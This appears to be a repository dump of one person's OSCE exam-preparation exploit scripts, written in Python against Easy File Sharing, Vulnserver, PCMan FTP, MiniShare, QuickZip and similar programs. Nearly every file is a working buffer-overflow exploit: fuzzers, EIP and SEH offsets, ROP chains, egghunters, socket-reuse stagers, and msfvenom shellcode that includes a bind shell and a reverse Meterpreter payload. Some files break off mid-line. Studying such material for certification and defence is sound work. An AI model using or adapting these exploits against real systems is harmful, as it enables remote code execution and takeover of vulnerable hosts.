├── README.md ├── TCP_Fuzzer.py ├── easyfileshareftp.py ├── easyfileshareftp_recreate_socket.py ├── easyfileshareftp_recv_reuse.py ├── easyfilesharehttp.py ├── egg_fuzzysecurity_4.py ├── gmon_vulnserver.py ├── gter_vulnserver.py ├── hter_vulnserver.py ├── kstet_vulnserver.py ├── lter_vulnserver.py ├── mini-stream.py ├── minshare_fileserver.py ├── myftp.py ├── myftp_recreate_socket.py ├── pcman_ftp.py ├── quickzip_backup_no_pop_esp.py ├── quickzip_redo.py ├── seh_exploitdb.py ├── seh_fuzzysecurity.py ├── trun_recreate_socket.py ├── trun_recv_reuse.py ├── trun_vulnserver.py ├── zipper_poc.py └── zipper_redo.py /README.md: -------------------------------------------------------------------------------- 1 | # OSCE-Exploit-Scripts 2 | 3 | Here's the graveyard for all the exploits I wrote while preparing for OSCE exam by Offensive Security. 4 | -------------------------------------------------------------------------------- /TCP_Fuzzer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket 4 | 5 | host = '10.1.10.34' 6 | port = 21 7 | 8 | def fuzz(payload): 9 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | s.connect((host, port)) 11 | s.recv(2048) 12 | s.send(payload) 13 | s.shutdown 14 | s.close 15 | 16 | print "[*] Fuzzing {0}:{1} ...".format(host, port) 17 | for i in range(1, 100): 18 | name = "A" * (i * 0x10) 19 | command = "USER {0}\r\n".format(name) 20 | print "[*] Username {0} chars, Command {1} chars...".format(len(name), len(command)) 21 | fuzz(command) -------------------------------------------------------------------------------- /easyfileshareftp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket 4 | from ftplib import FTP 5 | from struct import pack 6 | 7 | host = '172.16.192.168' 8 | port = 21 9 | max_size = 3500 10 | eip_offset = 2559 11 | 12 | shellcode = "" 13 | shellcode += "\xdb\xcd\xbb\xab\x9b\xfd\xb9\xd9\x74\x24\xf4\x5f" 14 | shellcode += "\x2b\xc9\xb1\x56\x83\xc7\x04\x31\x5f\x14\x03\x5f" 15 | shellcode += "\xbf\x79\x08\x45\x57\xff\xf3\xb6\xa7\x60\x7d\x53" 16 | shellcode += "\x96\xa0\x19\x17\x88\x10\x69\x75\x24\xda\x3f\x6e" 17 | shellcode += "\xbf\xae\x97\x81\x08\x04\xce\xac\x89\x35\x32\xae" 18 | shellcode += "\x09\x44\x67\x10\x30\x87\x7a\x51\x75\xfa\x77\x03" 19 | shellcode += "\x2e\x70\x25\xb4\x5b\xcc\xf6\x3f\x17\xc0\x7e\xa3" 20 | shellcode += "\xef\xe3\xaf\x72\x64\xba\x6f\x74\xa9\xb6\x39\x6e" 21 | shellcode += "\xae\xf3\xf0\x05\x04\x8f\x02\xcc\x55\x70\xa8\x31" 22 | shellcode += "\x5a\x83\xb0\x76\x5c\x7c\xc7\x8e\x9f\x01\xd0\x54" 23 | shellcode += "\xe2\xdd\x55\x4f\x44\x95\xce\xab\x75\x7a\x88\x38" 24 | shellcode += "\x79\x37\xde\x67\x9d\xc6\x33\x1c\x99\x43\xb2\xf3" 25 | shellcode += "\x28\x17\x91\xd7\x71\xc3\xb8\x4e\xdf\xa2\xc5\x91" 26 | shellcode += "\x80\x1b\x60\xd9\x2c\x4f\x19\x80\x38\xbc\x10\x3b" 27 | shellcode += "\xb8\xaa\x23\x48\x8a\x75\x98\xc6\xa6\xfe\x06\x10" 28 | shellcode += "\xbf\xe9\xb8\xce\x07\x79\x47\xef\x77\x53\x8c\xbb" 29 | shellcode += "\x27\xcb\x25\xc4\xac\x0b\xc9\x11\x58\x06\x5d\x36" 30 | shellcode += "\x8c\xd6\x77\x2e\xae\xd6\x99\x60\x27\x30\xf5\x2e" 31 | shellcode += "\x67\xed\xb6\x9e\xc7\x5d\x5f\xf5\xc8\x82\x7f\xf6" 32 | shellcode += "\x03\xab\xea\x19\xfd\x83\x82\x80\xa4\x58\x32\x4c" 33 | shellcode += "\x73\x25\x74\xc6\x71\xd9\x3b\x2f\xf0\xc9\x2c\x48" 34 | shellcode += "\xfa\x11\xad\xfd\xfa\x7b\xa9\x57\xad\x13\xb3\x8e" 35 | shellcode += "\x99\xbb\x4c\xe5\x9a\xbc\xb3\x78\xaa\xb7\x82\xee" 36 | shellcode += "\x92\xaf\xea\xfe\x12\x30\xbd\x94\x12\x58\x19\xcd" 37 | shellcode += "\x41\x7d\x66\xd8\xf6\x2e\xf3\xe3\xae\x83\x54\x8c" 38 | shellcode += "\x4c\xfd\x93\x13\xaf\x28\xa0\x54\x4f\xae\x8f\xfc" 39 | shellcode += "\x27\x50\x90\xfc\xb7\x3a\x10\xad\xdf\xb1\x3f\x42" 40 | shellcode += "\x2f\x39\xea\x0b\x27\xb0\x7b\xf9\xd6\xc5\x51\x5f" 41 | shellcode += "\x46\xc5\x56\x44\x79\xbc\x17\x7b\x7a\x41\x3e\x18" 42 | shellcode += "\x7b\x41\x3e\x1e\x40\x97\x07\x54\x87\x2b\x3c\x67" 43 | shellcode += "\xb2\x0e\x15\xe2\xbc\x1d\x65\x27" 44 | 45 | #\x00\x0a\x0d\x20 46 | payload = "\x2c" + "A" * eip_offset 47 | payload += "\xEB\x10\x90\x90" 48 | payload += pack("] ; WS2_32.socket (2,1,0) 127 | # 004562A4 $-FF25 A0E74700 JMP DWORD PTR DS:[<&WSOCK32.#2>] ; WS2_32.bind 128 | # 00456286 $-FF25 8CE74700 JMP DWORD PTR DS:[<&WSOCK32.#13>] ; WS2_32.listen 129 | # 004562F8 $-FF25 48E74700 JMP DWORD PTR DS:[<&WSOCK32.#1>] ; WS2_32.accept 130 | # 00456274 $-FF25 80E74700 JMP DWORD PTR DS:[<&WSOCK32.#16>] ; WSOCK32.recv 131 | -------------------------------------------------------------------------------- /easyfileshareftp_recv_reuse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import socket 5 | from ftplib import FTP 6 | from struct import pack 7 | from time import sleep 8 | 9 | host = '172.16.192.167' 10 | port = 21 11 | max_size = 3500 12 | eip_offset = 2559 13 | 14 | rev_met_7887 = "" 15 | rev_met_7887 += "\xb8\xc6\x9a\xd2\xb8\x89\xf6\x33\xc9\xb1\x56" 16 | rev_met_7887 += "\x31\x46\x13\x03\x46\x13\x83\xee\x3a\x78\x27" 17 | rev_met_7887 += "\x44\x2a\xff\xc8\xb5\xaa\x60\x40\x50\x9b\xa0" 18 | rev_met_7887 += "\x36\x10\x8b\x10\x3c\x74\x27\xda\x10\x6d\xbc" 19 | rev_met_7887 += "\xae\xbc\x82\x75\x04\x9b\xad\x86\x35\xdf\xac" 20 | rev_met_7887 += "\x04\x44\x0c\x0f\x35\x87\x41\x4e\x72\xfa\xa8" 21 | rev_met_7887 += "\x02\x2b\x70\x1e\xb3\x58\xcc\xa3\x38\x12\xc0" 22 | rev_met_7887 += "\xa3\xdd\xe2\xe3\x82\x73\x79\xba\x04\x75\xae" 23 | rev_met_7887 += "\xb6\x0c\x6d\xb3\xf3\xc7\x06\x07\x8f\xd9\xce" 24 | rev_met_7887 += "\x56\x70\x75\x2f\x57\x83\x87\x77\x5f\x7c\xf2" 25 | rev_met_7887 += "\x81\x9c\x01\x05\x56\xdf\xdd\x80\x4d\x47\x95" 26 | rev_met_7887 += "\x33\xaa\x76\x7a\xa5\x39\x74\x37\xa1\x66\x98" 27 | rev_met_7887 += "\xc6\x66\x1d\xa4\x43\x89\xf2\x2d\x17\xae\xd6" 28 | rev_met_7887 += "\x76\xc3\xcf\x4f\xd2\xa2\xf0\x90\xbd\x1b\x55" 29 | rev_met_7887 += "\xda\x53\x4f\xe4\x81\x3b\xbc\xc5\x39\xbb\xaa" 30 | rev_met_7887 += "\x5e\x49\x89\x75\xf5\xc5\xa1\xfe\xd3\x12\xb0" 31 | rev_met_7887 += "\xe9\xe3\xcd\x7a\x79\x1a\xee\x7a\x53\xd9\xba" 32 | rev_met_7887 += "\x2a\xcb\xc8\xc2\xa1\x0b\xf4\x16\x5f\x06\x62" 33 | rev_met_7887 += "\x35\x8f\xd6\x98\x2d\xad\xd6\x42\x61\x38\x30" 34 | rev_met_7887 += "\x2a\x2d\x6a\xed\x8b\x9d\xca\x5d\x64\xf4\xc5" 35 | rev_met_7887 += "\x82\x94\xf7\x0c\xab\x3f\x18\xf8\x83\xd7\x81" 36 | rev_met_7887 += "\xa1\x58\x49\x4d\x7c\x25\x49\xc5\x74\xd9\x04" 37 | rev_met_7887 += "\x2e\xfd\xc9\x71\x49\xfd\x11\x82\xfc\xfd\x7b" 38 | rev_met_7887 += "\x86\x56\xaa\x13\x84\x8f\x9c\xbb\x77\xfa\x9f" 39 | rev_met_7887 += "\xbc\x88\x7b\xa9\xb7\xbf\xe9\x95\xaf\xbf\xfd" 40 | rev_met_7887 += "\x15\x30\x96\x97\x15\x58\x4e\xcc\x46\x7d\x91" 41 | rev_met_7887 += "\xd9\xfb\x2e\x04\xe2\xad\x83\x8f\x8a\x53\xfd" 42 | rev_met_7887 += "\xf8\x14\xac\x28\x7b\x52\x52\xae\x54\xfb\x3a" 43 | rev_met_7887 += "\x50\xe5\xfb\xba\x3a\xe5\xab\xd2\xb1\xca\x44" 44 | rev_met_7887 += "\x12\x39\xc1\x0c\x3a\xb0\x84\xff\xdb\xc5\x8c" 45 | rev_met_7887 += "\x5e\x45\xc5\x23\x7b\x76\xbc\x4c\x7c\x77\x41" 46 | rev_met_7887 += "\x45\x19\x78\x41\x69\x1f\x45\x97\x50\x55\x88" 47 | rev_met_7887 += "\x2b\xe7\x66\xbf\x0e\x4e\xed\xbf\x1d\x90\x24" 48 | 49 | exploit = "" 50 | exploit += "\x50" # PUSH EAX - FLAGS 51 | exploit += "\xB4\x02" # MOV AH,2 52 | exploit += "\x50" # PUSH EAX - SIZE 53 | exploit += "\x54" # PUSH ESP 54 | exploit += "\x58" # POP EAX 55 | 56 | exploit += "\x66\x05\x38\x0F" # ADD AX,0F38 57 | exploit += "\x8B\xF0" # MOV ESI, EAX 58 | exploit += "\x50" # PUSH EAX - BUFFER 59 | exploit += "\x66\x2D\xF6\x0E" # SUB AX,0EF6 60 | exploit += "\x80\xC4\x01" # HACK BC 0D NOT ALLOWED; ADD 1 61 | exploit += "\xFF\x30" # PUSH DWORD PTR DS:[EAX] - HANDLER 62 | exploit += "\xBB\x77\x74\x62\x45" # MOV EBX,45627477 63 | exploit += "\xC1\xEB\x08" # SHR EBX,8 64 | exploit += "\xFF\xD3" # CALL [EBX] 65 | 66 | payload = "PASS " 67 | payload += "\x2c" + "A" * eip_offset 68 | payload += "\xEB\x0e\x90\x90" 69 | payload += pack("] ; WS2_32.socket 87 | # 004562A4 $-FF25 A0E74700 JMP DWORD PTR DS:[<&WSOCK32.#2>] ; WS2_32.bind 88 | # 00456286 $-FF25 8CE74700 JMP DWORD PTR DS:[<&WSOCK32.#13>] ; WS2_32.listen 89 | # 004562F8 $-FF25 48E74700 JMP DWORD PTR DS:[<&WSOCK32.#1>] ; WS2_32.accept 90 | # 00456274 $-FF25 80E74700 JMP DWORD PTR DS:[<&WSOCK32.#16>] ; WSOCK32.recv 91 | -------------------------------------------------------------------------------- /easyfilesharehttp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from struct import pack 3 | 4 | host = "172.16.192.167" 5 | port = 80 6 | 7 | max_size = 5000 8 | eax_offset = 4127 9 | seh_offset = 4059 10 | split = 2923 11 | 12 | def create_rop_chain(): 13 | # rop chain generated with mona.py - www.corelan.be 14 | rop_gadgets = [ 15 | 16 | 0x10015442, # POP EAX # RETN [ImageLoad.dll] 17 | 0xFFFFFDFF, # Value of '-201' 18 | 0x100231d1, # NEG EAX # RETN [ImageLoad.dll] 19 | 20 | # Put EAX into EBX (other unneccessary stuff comes with this gadget as well...) 21 | 0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN 22 | 23 | 0x10015442, # POP EAX # RETN [ImageLoad.dll] 24 | 0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll] 25 | 26 | 0x1001281a, # ADD ESP,4 # RETN [ImageLoad.dll] 27 | 0x61c73281, # &Writable location [sqlite3.dll 28 | 29 | 0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 30 | 0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll] 31 | 0x1001e5a0, # POP ESI # RETN [ImageLoad.dll] 32 | 0xffffffff, # 33 | 0x1001715d, # INC ESI # ADD AL,3A # RETN [ImageLoad.dll] 34 | 0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] 35 | 0x1001c1c8, # POP EBP # RETN [ImageLoad.dll] 36 | 0x61c24169, # & push esp # ret [sqlite3.dll] 37 | 0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll] 38 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 39 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 40 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 41 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 42 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 43 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 44 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 45 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 46 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 47 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 48 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 49 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 50 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 51 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 52 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 53 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 54 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 55 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 56 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 57 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 58 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 59 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 60 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 61 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 62 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 63 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 64 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 65 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 66 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 67 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 68 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 69 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 70 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 71 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 72 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 73 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 74 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 75 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 76 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 77 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 78 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 79 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 80 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 81 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 82 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 83 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 84 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 85 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 86 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 87 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 88 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 89 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 90 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 91 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 92 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 93 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 94 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 95 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 96 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 97 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 98 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 99 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 100 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 101 | 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 102 | 0x1001bd98, # POP ECX # RETN [ImageLoad.dll] 103 | 0x61c80fe1, # &Writable location [sqlite3.dll] 104 | 0x10019fbc, # POP EDI # RETN [ImageLoad.dll] 105 | 0x10021058, # RETN (ROP NOP) [ImageLoad.dll] 106 | 0x10015442, # POP EAX # RETN [ImageLoad.dll] 107 | 0x90909090, # nop 108 | 0x100240c2, # PUSHAD # RETN [ImageLoad.dll] 109 | ] 110 | return ''.join(pack(' 89 | # 90 | # socket descript is offset ESP 188 at time of 2nd stage value 80 91 | # -------------------------------------------------------------------------------- /hter_vulnserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import socket 5 | from struct import pack 6 | import time 7 | 8 | host = '172.16.192.168' 9 | port = 9999 10 | 11 | # msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f hex 12 | shellcode = ("d9ecb81cf65c70d97424f45e33c9b15331461703461783daf2be851e" 13 | "12bc66dee3a1ef3bd2e1944845d2df1c6a99b2b4f9ef1abb4a457df2" 14 | "4bf6bd95cf059275f1c5e774363b0524ef37b8d884020153d6830180" 15 | "afa22017bbfce2966875ab806db0653b454e74ed97afdbd017422515" 16 | "9fbd506fe34063b4999ee62e3954508abbb90759b7764305d489803e" 17 | "e002279060500c3428022d6d94e5526d7759f7e69a8e8aa5f263a755" 18 | "03ecb02631b36aa0793cb5377d1701a7809872ee46cc22986f6da958" 19 | "8fb8445036137b9d88c33b0d610eb47291311e1b3acca132e759475e" 20 | "070cdff6e56be861155e40055e88572a5f9effbcd4cd3bddeadb6b8a" 21 | "7d91fdf91ca6d769bc35bc69cb256b3e9c9862aa3082dcc8c8522648" 22 | "17a7a951da938d41221b8a35fa4a44e3bc24265d179ae009eed0324f" 23 | "ef3cc5af5ee990d06f7d15a98d1dda60163d39a063d6e421cebb169c" 24 | "0dc29414ee31845deb7e028e81efe7b0360f22" 25 | 26 | payload = "A" * (2041) 27 | payload += "AF115062" 28 | payload += "90" * 20 29 | payload += shellcode 30 | payload += "A" * (3000 - len(payload)) 31 | 32 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 33 | s.connect((host, port)) 34 | print s.recv(1024) 35 | print "[*] Sending payload of size: {0} chars...".format(len(payload)) 36 | 37 | s.send("HTER " + payload ) 38 | 39 | s.close() 40 | -------------------------------------------------------------------------------- /kstet_vulnserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import socket 5 | from struct import pack 6 | import time 7 | 8 | host = '172.16.192.168' 9 | port = 9999 10 | 11 | exploit = ("" 12 | "\x54" # PUSH ESP 13 | "\x59" # POP ECX 14 | "\x66\x81\xC1\x88\x01" # ADD CX,188 15 | "\x83\xEC\x50" # SUB ESP,50 16 | "\x33\xD2" # XOR EDX,EDX 17 | "\x52" # PUSH EDX 18 | "\x80\xC6\x02" # ADD DH,2 19 | "\x52" # PUSH EDX 20 | "\x54" # PUSH ESP 21 | "\x5B" # POP EBX 22 | "\x83\xC3\x50" # ADD EBX,50 23 | "\x53" # PUSH EBX 24 | "\xFF\x31" # PUSH DWORD PTR DS:[ECX] 25 | "\xBB\x44\x2C\x25\x40" # MOV EBX,40252C44 26 | "\xC1\xEB\x08" # SHR EBX,8 27 | "\xFF\xD3" # CALL EBX 28 | ) 29 | 30 | shellcode = "" 31 | shellcode += "\xdb\xc2\xbb\x35\x0e\x19\x40\xd9\x74\x24\xf4" 32 | shellcode += "\x58\x29\xc9\xb1\x56\x31\x58\x18\x03\x58\x18" 33 | shellcode += "\x83\xe8\xc9\xec\xec\xbc\xd9\x73\x0e\x3d\x19" 34 | shellcode += "\x14\x86\xd8\x28\x14\xfc\xa9\x1a\xa4\x76\xff" 35 | shellcode += "\x96\x4f\xda\x14\x2d\x3d\xf3\x1b\x86\x88\x25" 36 | shellcode += "\x15\x17\xa0\x16\x34\x9b\xbb\x4a\x96\xa2\x73" 37 | shellcode += "\x9f\xd7\xe3\x6e\x52\x85\xbc\xe5\xc1\x3a\xc9" 38 | shellcode += "\xb0\xd9\xb1\x81\x55\x5a\x25\x51\x57\x4b\xf8" 39 | shellcode += "\xea\x0e\x4b\xfa\x3f\x3b\xc2\xe4\x5c\x06\x9c" 40 | shellcode += "\x9f\x96\xfc\x1f\x76\xe7\xfd\x8c\xb7\xc8\x0f" 41 | shellcode += "\xcc\xf0\xee\xef\xbb\x08\x0d\x8d\xbb\xce\x6c" 42 | shellcode += "\x49\x49\xd5\xd6\x1a\xe9\x31\xe7\xcf\x6c\xb1" 43 | shellcode += "\xeb\xa4\xfb\x9d\xef\x3b\x2f\x96\x0b\xb7\xce" 44 | shellcode += "\x79\x9a\x83\xf4\x5d\xc7\x50\x94\xc4\xad\x37" 45 | shellcode += "\xa9\x17\x0e\xe7\x0f\x53\xa2\xfc\x3d\x3e\xaa" 46 | shellcode += "\x31\x0c\xc1\x2a\x5e\x07\xb2\x18\xc1\xb3\x5c" 47 | shellcode += "\x10\x8a\x1d\x9a\x21\x9c\x9d\x74\x89\xcd\x63" 48 | shellcode += "\x75\xe9\xc4\xa7\x21\xb9\x7e\x01\x4a\x52\x7f" 49 | shellcode += "\xae\x9f\xce\x75\x38\x8c\x1e\x4a\x11\xa4\x1c" 50 | shellcode += "\x4a\x7c\xfa\xa9\xac\xd0\x54\xf9\x60\x91\x04" 51 | shellcode += "\xb9\xd0\x79\x4f\x36\x0e\x99\x70\x9d\x27\x30" 52 | shellcode += "\x9f\x4b\x1f\xad\x06\xd6\xeb\x4c\xc6\xcd\x91" 53 | shellcode += "\x4f\x4c\xe7\x66\x01\xa5\x82\x74\x76\xd2\x6c" 54 | shellcode += "\x85\x87\x77\x6c\xef\x83\xd1\x3b\x87\x89\x04" 55 | shellcode += "\x0b\x08\x71\x63\x08\x4f\x8d\xf2\x38\x3b\xb8" 56 | shellcode += "\x60\x04\x53\xc5\x64\x84\xa3\x93\xee\x84\xcb" 57 | shellcode += "\x43\x4b\xd7\xee\x8b\x46\x44\xa3\x19\x69\x3c" 58 | shellcode += "\x17\x89\x01\xc2\x4e\xfd\x8d\x3d\xa5\x7d\xc9" 59 | shellcode += "\xc1\x3b\xaa\x72\xa9\xc3\xea\x82\x29\xae\xea" 60 | shellcode += "\xd2\x41\x25\xc4\xdd\xa1\xc6\xcf\xb5\xa9\x4d" 61 | shellcode += "\x9e\x74\x48\x51\x8b\xd9\xd4\x52\x38\xc2\xe7" 62 | shellcode += "\x29\x31\xf5\x08\xce\x5b\x92\x09\xce\x63\xa4" 63 | shellcode += "\x36\x18\x5a\xd2\x79\x98\xd9\xed\xcc\xbd\x48" 64 | shellcode += "\x64\x2e\x91\x8b\xad" 65 | 66 | payload = exploit 67 | payload += "A" * (66 - len(payload)) 68 | payload += pack("] ; WS2_32.socket (2, 1 ,6) 135 | # 00403454 $-FF25 B8824000 JMP DWORD PTR DS:[<&WS2_32.bind>] ; WS2_32.bind 136 | # 0040345C $-FF25 D4824000 JMP DWORD PTR DS:[<&WS2_32.listen>] ; WS2_32.listen 137 | # 00403424 $-FF25 B4824000 JMP DWORD PTR DS:[<&WS2_32.accept>] ; WS2_32.accept 138 | # 0040340C $-FF25 DC824000 JMP DWORD PTR DS:[<&WS2_32.recv>] ; WS2_32.recv 139 | # 00403DD4 $-FF25 70824000 JMP DWORD PTR DS:[<&msvcrt.malloc>] ; msvcrt.malloc 140 | # 00403EA4 $-FF25 E4814000 JMP DWORD PTR DS:[<&KERNEL32.VirtualProt>; kernel32.VirtualProtect 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /myftp_recreate_socket.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import socket 3 | from struct import pack 4 | from time import sleep 5 | 6 | host = '172.16.192.168' 7 | port = 21 8 | 9 | max = 365 10 | eip_offset = 294 11 | esp_offset = 302 12 | start_offset = 266 13 | jmp_esp = pack("] ; WS2_32.socket (2, 1 ,6) 135 | # 00403454 $-FF25 B8824000 JMP DWORD PTR DS:[<&WS2_32.bind>] ; WS2_32.bind 136 | # 0040345C $-FF25 D4824000 JMP DWORD PTR DS:[<&WS2_32.listen>] ; WS2_32.listen 137 | # 00403424 $-FF25 B4824000 JMP DWORD PTR DS:[<&WS2_32.accept>] ; WS2_32.accept 138 | # 0040340C $-FF25 DC824000 JMP DWORD PTR DS:[<&WS2_32.recv>] ; WS2_32.recv 139 | # 00403DD4 $-FF25 70824000 JMP DWORD PTR DS:[<&msvcrt.malloc>] ; msvcrt.malloc 140 | # 00403EA4 $-FF25 E4814000 JMP DWORD PTR DS:[<&KERNEL32.VirtualProt>; kernel32.VirtualProtect 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /pcman_ftp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import socket 3 | from struct import pack 4 | 5 | host = '172.16.192.177' 6 | port = 21 7 | 8 | max_size = 3000 9 | 10 | 11 | # encoded_calc_esi = "w00tw00t" 12 | # encoded_calc_esi += "\x57\x58\x04\x07\x50\x5E\x90" 13 | # encoded_calc_esi += "\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49" 14 | # encoded_calc_esi += "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51" 15 | # encoded_calc_esi += "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b" 16 | # encoded_calc_esi += "\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" 17 | # encoded_calc_esi += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75" 18 | # encoded_calc_esi += "\x4a\x49\x4a\x4b\x57\x6b\x63\x6b\x75\x61" 19 | # encoded_calc_esi += "\x59\x50\x36\x30\x44\x71\x6b\x70\x6c\x48" 20 | # encoded_calc_esi += "\x77\x33\x47\x63\x33\x63\x4f\x4b\x6c\x6d" 21 | # encoded_calc_esi += "\x57\x53\x4c\x46\x33\x4c\x79\x6f\x69\x43" 22 | # encoded_calc_esi += "\x54\x71\x39\x50\x32\x70\x6f\x4b\x48\x7a" 23 | # encoded_calc_esi += "\x6b\x7a\x4f\x71\x51\x6c\x49\x6f\x78\x53" 24 | # encoded_calc_esi += "\x38\x68\x6d\x30\x6b\x4f\x59\x6f\x59\x6f" 25 | # encoded_calc_esi += "\x72\x43\x52\x4d\x43\x54\x36\x4e\x62\x45" 26 | # encoded_calc_esi += "\x34\x38\x32\x45\x37\x50\x44\x6f\x50\x63" 27 | # encoded_calc_esi += "\x67\x50\x53\x53\x55\x31\x30\x6c\x53\x53" 28 | # encoded_calc_esi += "\x66\x4e\x73\x55\x54\x38\x65\x35\x41\x41" 29 | 30 | encoded_calc_esi = "w00tw00t" 31 | encoded_calc_esi += "\x57\x58\x04\x08\x50\x5E\x90" 32 | encoded_calc_esi += "\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49" 33 | encoded_calc_esi += "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51" 34 | encoded_calc_esi += "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b" 35 | encoded_calc_esi += "\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" 36 | encoded_calc_esi += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75" 37 | encoded_calc_esi += "\x4a\x49\x4a\x4b\x37\x6b\x61\x4b\x45\x61" 38 | encoded_calc_esi += "\x49\x50\x50\x50\x75\x61\x39\x50\x4f\x78" 39 | encoded_calc_esi += "\x31\x53\x32\x33\x52\x73\x4f\x4b\x4e\x4d" 40 | encoded_calc_esi += 